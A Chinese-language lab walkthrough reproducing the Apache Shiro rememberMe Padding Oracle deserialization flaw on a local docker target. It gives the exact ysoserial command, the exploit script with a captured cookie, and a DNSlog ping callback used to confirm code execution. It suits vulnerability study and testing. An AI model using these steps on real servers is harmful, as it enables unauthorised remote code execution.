Apache Shiro cookie
中使用AES-128-CBC
模式加密的rememberMe
字段存在问题,用户可通过Padding Oracle
加密生成的攻击代码来构造恶意的rememberMe
字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
Apache Shiro < 1.4.2
攻击机:192.168.112.1 靶机:192.168.112.137:5001 1.靶机环境搭建
用docker拉取靶机镜像
docker pull medicean/vulapps:s_shiro_1
创建启动靶机容器
docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1
注:5001为外部映射端口,可自定义
2.漏洞检测利用 使用正确的用户和密码,勾选rememberMe,使用burp代理,获取返回的rememberMe值
使用DNSlog获取临时域名,使用ysoserial工具生成payload
java -jar ysoserial.jar CommonsBeanutils1 "ping rmd49d.dnslog.cn" > payload.class
使用刚才burp获取到的rememberMe
值作为prefix
,加载Payload
,进行Padding Oracle
攻击
Github:https://github.com/wuppp/shiro_rce_exp
通过Padding Oracle Attack
生成Evil Rememberme cookie
python2 shiro_exp.py http://192.168.112.137:5001/account/ dn02+4V8ELKMLgay8k17HfDtU6eHyvqELqEebUmq5911xfqV2+GsXLDNAgG7qPJc1tQypjGVo/AVhJb5qwhe3vH5LBlqT5GLhz6STPMzvLaFG0xQBCNXsTfRgmBm0K2ZDO5SKW7sgFHmB91ayfrofoifYA5hH3CHYmEtZ7SqH1xEXH4/VT6NBe0h9akLvLyyVqPWkYD4Dv8NGA2EamH1vGSF72f3bEtO/9uBwqF69WVP1PhGB+1fZ7DMtBSsF8YvQkx8DbILhbX+jzItYfllnB/F1GfTPa/lCNTDiOcANaajJfB1i9qacQZvKEGXMeWG4Hx5oaRYm2lvgP/0TrohSJLXPyh1tEJTszxS9hdDhXb6QugkPC57jwT/T4aabZIJs4b05P3Ez+sdOGPtWA4QkxUmfUipigA/KuE1uJ2INRIm3YZlNR1sQ6H64YgJpFu5CrpoCLh2lGBP7Ip8IKeXPwDQpMi8E5gnCBVYBxBUNJ6cs4Y2h+iDpeu/mjAEgkJX payload.class
注意:爆破时间较长(一小时左右),payload长度决定爆破速度快慢。
爆破成功,返回cookie。
再次访问http://192.168.112.137:5001/
,用burp抓包,添加刚才爆破出的remeberMe值
到http://www.dnslog.cn/
查看,返回IP
说明执行ping命令成功。